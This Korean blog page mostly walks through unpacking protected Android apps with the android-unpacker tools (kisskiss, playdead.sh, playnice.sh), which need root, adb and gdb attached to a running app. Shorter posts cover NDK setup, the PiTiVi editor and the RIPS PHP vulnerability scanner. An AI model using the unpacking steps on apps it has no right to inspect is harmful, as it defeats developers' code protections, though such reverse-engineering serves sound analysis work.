이 중 NDK, NDK_ROOT 관련 에러가 나는데 이건 환경변수에 설정이 되어있지 않아 발생하는 문제입니다.
NDK 디렉토리를 에러에서 나타나는 환경변수명에 넣어주세요.

make 가 끝나면 lib 하단에 kisskiss 라는 파일이 생성됩니다. 이 파일은 ELF 헤더로 실행 파일이며 리눅스상에서는 실행할 수 업고, Android Device에 넣은 후 android shell 로 실행하여야 동작합니다.

adb shell 진입 후 파일을 넣어줍니다.
# adb connect ***.***.***.*** 
# adb pull kisskiss /system/xbin/

여기서 read-only file system으로 안넣어질 수 있는데 이부분은 remount로 해결 가능합니다.
아래 블로그 참조해주세요.
(http://aroundck.tistory.com/43)

이후 adb shell 에서 kisskiss 명령과 pid 를 적어주면 unpacking 이 시작됩니다.

# kisskiss 444

gdb-script


# ./playdead.sh com.package.name.to.unpack
# ./playnice.sh com.packeage.name.to.unpack

Unpack 과정은 간단합니다. dead, nice로 구성된 스크립트를 실행하여 Unpacking 이 가능합니다.
단 몇가지 조건이 있는데, root 권한과 APK 설치 및 구동 중에만 가능합니다.

구동되는 APK를 ps 명령을 통해 pid 를 확인한 후 해당 pid를 기입하여 Unpacking 합니다.

{Android}# ps | grep target.APK.name
..snip..
~~ 1089(target pid)

# ./playdead.sh 1089
Attempting to find memory address for 1089 inside 1089

써볼만한 좋은 샘플은 안보이네요.. :(

**Usage:**

1. Ensure you have the gdb binary pushed to /data/local/tmp/ and the baksmali/smali and frameworks set up like the scripts references (or change the script).
Also ensure you only have one device connected and accessable to adb.
The application you wish to unpack should be installed and running.
<pre>
$ ./playdead.sh com.package.name.to.unpack
</pre>

2. Reverse!

This isn't really a good script, or the best way. Though I wanted to ensure people might have a decent example of getting this type of scripting/unpacking type working.


Playnice - Secshell unpacking script
--------
Works almost identically to playdead with similar assumptions,
but scans for a DEX header instead of ODEX, and uses gdb find instead of examine.

**Usage:**

<pre>
$ ./playnice.sh com.package.name.to.unpack
</pre>


Reference

https://github.com/strazzere/android-unpacker

Share: | Coffee Me:

[ANDROID] Android NDK 설치하기(Install Android NDK)

NDK HomePage
https://developer.android.com/ndk/index.html

Install Menual
https://developer.android.com/ndk/guides/setup.html

Android NDK Download Link
https://developer.android.com/ndk/downloads/index.html

바이너리 파일을 다운로드 후 실행해주시면 압축이 해제되며 세팅됩니다.

# chmod a+x android-ndk-r10c-darwin-x86_64.bin
# ./android-ndk-r10c-darwin-x86_64.bin

..snip..
Extracting  android-ndk-r10e/build/tools
Extracting  android-ndk-r10e/build/gmsl
Extracting  android-ndk-r10e/build/core
Extracting  android-ndk-r10e/build/awk
Extracting  android-ndk-r10e/build
Extracting  android-ndk-r10e

Everything is Ok

Finish :)

Share: | Coffee Me:

9/02/2015

[DEBIAN] PITIVI - 리눅스 영상 편집 툴(Audio,Video Editor on Linux)

영상편집 툴 중 괜찮다고 생각되는 pitivi 에 대한 내용입니다.

pitivi는 GStreamer 를 사용한 오디오,비디오 에디터이며, Sony vegas 와 나름 유사한 느낌으로 편집 작업을 진행할 수 있을것 같습니다.

데비안 계열 리눅스에서는 APT 패키지 관리자를 통해 쉽게 설치가 가능합니다.
(Debian, Ubuntu)

# apt-get install pitivi

설치 후 실행 시 아래와 같은 화면이 나타나며, Video, Audio 에 대한 편집이 가능하고 pitivi에서 제공하는 효과를 이용하여 영상을 꾸밀 수 있습니다.


Share: | Coffee Me:

9/01/2015

[SYSTEM HACKING] RIPS - Source Code Vulnerability Scanner(소스코드 취약점 분석 툴)


오늘은 Source Code 취약점 스캐너인 RIPS에 대한 이야기를 해볼까 합니다.

RIPS는 PHP Security(www.php-security.org)에서 개발된 whitebox 기반 소스코드 취약점 분석 툴이며, sourceforge를 통해 배포되고 있습니다. php 기반으로 구성되어 있으며, 별도의 db 및 설정이 필요없어 쉽게 설치 및 분석이 가능합니다. GPLv3 라이센스이며, 코드 분석 결과를 그래픽적으로 나타내주기 때문에 도움이 많이 됩니다.

기본적으로 소스코드 상 존재할 수 있는 XSS, SQL Injection, File disclosure, LFI, RFI, RCE 등의 취약점에 대한 Scan이 가능한 유용한 스캐너입니다.



설치는 sourceforge에 접근하여 프로젝트 리스트에서 찾아 다운로드하시면 됩니다.

download link
http://sourceforge.net/projects/rips-scanner/

다운로드 후 압축해제, 간단한 권한설정 후 웹을 통해 접근하여 사용이 가능합니다.

# unzip rips-0.55.zip
# cp rips-0.55 /var/www/rips     (move to web server root directory)

# chmod 755 /var/www/rips -R;

http://127.0.0.1/rips 에 대해 웹 브라우저로 접근(Open your web browser 127.0.0.1:80/rips)



RIPS의 메뉴는 매우 간단합니다. 크게 몇가지 부분만 확인하면 Software에 대한 code test 가 가능합니다.

path/file: 해당 부분에는 Scan할 소스코드의 경로, 파일명이 들어갑니다.
verbosity level: 분석 레벨 지정
vul type: 분석할 취약 유형(대체로 all)
code style: 분석 코드 형태
regex: 정규식

Scan 경로 및 옵션 지정 후 scan을 눌러주시면 아래와 같이 분석이 진행됩니다.




스캔이 완료되면 Report 가 나오며, 세부적인 내용 확인 및 Graph를 통해 시각적으로 해당 Application에 대한 구조, 취약 구간등을 확인할 수 있습니다.




신규 취약점 찾는데 굉장히 도움이 될 것 같습니다 : )

Share: | Coffee Me: